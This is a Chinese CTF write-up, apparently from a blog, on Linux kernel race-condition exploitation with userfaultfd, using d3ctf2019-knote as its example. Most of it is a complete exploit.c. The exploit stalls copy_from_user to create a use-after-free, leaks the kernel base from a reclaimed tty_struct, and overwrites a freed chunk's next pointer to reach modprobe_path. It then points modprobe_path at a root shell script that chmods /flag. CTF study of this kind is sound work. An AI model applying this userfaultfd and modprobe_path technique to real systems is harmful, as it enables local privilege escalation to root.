0%

linux kernel pwn学习之条件竞争(二)userfaultfd

userfaultfd是linux下的一直缺页处理机制,用户可以自定义函数来处理这种事件。所谓的缺页,就是所访问的页面还没有装入RAM中。比如mmap创建的堆,它实际上还没有装载到内存中,系统有自己默认的机制来处理,用户也可以自定义处理函数,在处理函数没有结束之前,缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用

举个栗子

假如在内核里有这样一段代码

1
2
3
4
5
if (ptr) {  
...
copy_from_user(ptr,user_buf,len);
...
}

如果,我们的user_buf是一块mmap映射的,并且未初始化的区域,此时就会触发缺页错误,copy_from_user将暂停执行,在暂停的这段时间内,我们开另一个线程,将ptr释放掉,再把其他结构申请到这里(比如tty_struct),然后当缺页处理结束后,copy_from_user恢复执行,然而ptr此时指向的是tty_struct结构,那么就能对tty_struct结构进行修改了。虽然说,不用缺页处理,也能造成条件竞争,但是几率比较小。而利用了缺页处理,几率将增加很大很大。

大概就是这个道理,我们来看看,如何注册userfaultfd吧,话不多说,这是模板,更详细的可以自行去看看文档。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//注册一个userfaultfd来处理缺页错误  
void registerUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
errExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}

为了更好的理解,我们以d3ctf2019-knote为例

d3ctf2019-knote

首先,查看一下启动脚本

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh  
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap \

发现开启了smep、smap机制,接下来,我们启动系统,查看一下内核版本

在linux 5以上,似乎很难ret2usr,貌似多了其他的机制,使得单纯修改cr4不起作用,以后慢慢研究。

然后,我们用IDA分析一下note.ko驱动文件

Ioctl定义了经典的增删改查操作

Add操作,有锁保护着,不担心多线程,size不能超过0xFFF

Delete操作,也没啥好说的

Edit操作全程没有加锁

Get操作也是全程没有加锁

那么思路很明显了,使用userfaultfd暂停copy_user_generic_unrolled函数,然后在另一个线程里趁机释放ptr,并把其他结构,比如tty_struct申请到这里,然后恢复copy_user_generic_unrolled的执行,从而达到对指定数据结构的读/写,之前,我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针,实现任意地址处分配,我们就可以利用这个。在linux kernel 5以上,似乎ROP到用户的区域变得困难,那么,我们有了另一个好方法,那就是劫持modprobe_pathmodprobe_path执行了一个二进制文件,默认为/bin/ modprobe,当系统执行一个非法二进制文件(不是elf格式,也不是文本)的时候,就会去调用modprobe_path指向的程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __request_module(bool wait, const char *fmt, ...)  
{
va_list args;
char module_name[MODULE_NAME_LEN];
int ret;

/*
* We don't allow synchronous module loading from async. Module
* init may invoke async_synchronize_full() which will end up
* waiting for this task which already is waiting for the module
* loading to complete, leading to a deadlock.
*/
WARN_ON_ONCE(wait && current_is_async());

if (!modprobe_path[0])
return 0;

va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;

ret = security_kernel_module_request(module_name);
if (ret)
return ret;

if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {
pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, throttling...",
atomic_read(&kmod_concurrent_max),
MAX_KMOD_CONCURRENT, module_name);
ret = wait_event_killable_timeout(kmod_wq,
atomic_dec_if_positive(&kmod_concurrent_max) >= 0,
MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);
if (!ret) {
pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",
module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);
return -ETIME;
} else if (ret == -ERESTARTSYS) {
pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);
return ret;
}
}

trace_module_request(module_name, wait, _RET_IP_);

ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

atomic_inc(&kmod_concurrent_max);
wake_up(&kmod_wq);

return ret;
}

内核调用call_modprobe函数执行mobprobe_path指向的文件,并且call_modprobe函数拥有root权限,我们只需要劫持mobprobe_path,指向我们提权的脚本,然后指向一个非法二进制,就能触发提权脚本的执行

与mobprobe_path配套的还有mod_tree,这里记录着ko模块的加载地址,因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到,因此,我们可以得到它们的静态地址。

大概就是这样,直接上exploit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#include <stdio.h>  
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时,堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;

//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;

//传给驱动的数据结构
struct Data {
union {
size_t size; //大小
size_t index; //下标
};
void *buf; //数据
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}

void initFD() {
fd = open("/dev/knote",O_RDWR);
if (fd < 0) {
errExit("device open error!!");
}
}
//创建一个节点
void kcreate(size_t size) {
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {
struct Data data;
data.index = index;
ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x2333,&data);
}


//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
errExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}

//针对laekKernelBase时的缺页处理线程
//这个线程里,我们不需要做什么,仅仅是
//为了拖延阻塞时间,给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak_handler created");
sleep(3); //休眠一下,留给子进程足够时间操作
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
//poll会阻塞,直到收到缺页错误的消息
nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;
//初始化page页
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
//出现缺页的位置
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
//然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构
//因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
ioctl(uffd, UFFDIO_COPY, &uc);

puts("[+] leak_handler done!!");
return NULL;
}

//泄露内核地址
void leakKernelBase() {
//创建一个与tty_struct结构大小相同的堆
kcreate(TTY_STRUCT_SIZE);
//用于接收kshow的内容,由于我们是用mmap映射的一块区域,传入kshow时,导致缺页错误,从而可以进入我们自定义的
//处理函数里阻塞
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
//注册一个userfaultfd,监视user_buf处的缺页
registerUserfault(user_buf,leak_handler);

int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) { //子进程
sleep(1); //让父进程先执行,进入userfaultfd阻塞,这样子线程可以为所欲为的操作
kdelete(0); //删除我们创建的那个堆
tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里,再用UAF就能泄露信息
exit(0); //退出子进程
} else {
//父进程触发缺页错误,从而进入handle函数,阻塞,给子进程足够的操作时间
kshow(0,user_buf);
//现在,user_buf里存储着tty_struct结构,我们读出来,可以得到很多数据
size_t *data = (size_t *)user_buf;
if (data[7] == 0) { //没有数据,说明失败了
munmap(user_buf, PAGE_SIZE);
close(tty_fd);
errExit("[-]leak data error!!");
}
close(tty_fd); //关闭ptmx设备,释放占用的空间
//得到某函数的地址
size_t x_fun_addr = data[0x56];
//计算出内核基址
size_t kernel_base = x_fun_addr - 0x5d4ef0;
//当内核运行未知的二进制文件时,会调用modprobe_path指向的可执行文件
//因此,我们的目的是劫持modprobe_path,指向一个shell文件即可
modprobe_path = kernel_base + MOD_PROBE;
printf("kernel_base=0x%lx\n",kernel_base);
printf("modprobe_path=0x%lx\n",modprobe_path);
}
}

//针对writeHeapFD时的缺页处理线程
//这个线程里,我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] write_handler created");
sleep(3); //休眠一下,留给子进程足够时间操作,形成UAF
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
//poll会阻塞,直到收到缺页错误的消息
nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}
//断言是否是缺页的错误
//assert(msg.event == UFFD_EVENT_PAGEFAULT);
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;
//初始化page页
memset(page, 0, sizeof(page));
//写入modprobe_path
memcpy(page,&modprobe_path,8);
uc.src = (unsigned long)page;
//出现缺页的位置
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
//然而,我们在阻塞的这段时间,堆0被释放掉了,当恢复的时候
//是向一个已经释放的堆写数据
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] writek_handler done!!");
return NULL;
}


//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {
kcreate(CHUNK_SIZE); //0
//用于接收kedit的内容,由于我们是用mmap映射的一块区域,传入kedit时,导致缺页错误,从而可以进入我们自定义的
//处理函数里阻塞
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
//注册一个userfaultfd,监视user_buf处的缺页
registerUserfault(user_buf,write_handler);
int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) { //子进程
sleep(1); //让父进程先执行,进入userfaultfd阻塞
kdelete(0); //删除堆,形成UAF
exit(0);
} else {
kedit(0,user_buf); //触发缺页错误阻塞
//kedit结束后,空闲块的next域已经写上了攻击目标的地址
}

}

char tmp[0x100] = {0};
int main() {
//初始化驱动
initFD();
//条件竞争泄露内核基址
leakKernelBase();
sleep(2);
//将modprobe_path地址写到空闲堆的next指针处
writeHeapFD();
sleep(2);
kcreate(CHUNK_SIZE); //0
kcreate(CHUNK_SIZE); //1,分配到目标处
strcpy(tmp,"/tmp/shell.sh");
kedit(1,tmp); //将modprobe_path指向我们的shell文件
//创建一个用于getshelll的脚本
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
//创建一个非法的二进制文件,执行,触发shell
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
//触发shell执行,修改flag文件普通用户可以读写
system("/tmp/fake");
system("cat /flag");
//结束程序时,会释放堆,但是我们的modprobe_path处不是合法的堆,会释放出错,导致内核崩溃重启
sleep(3);
return 0;
}

失败了可以多次尝试,最后成功得到flag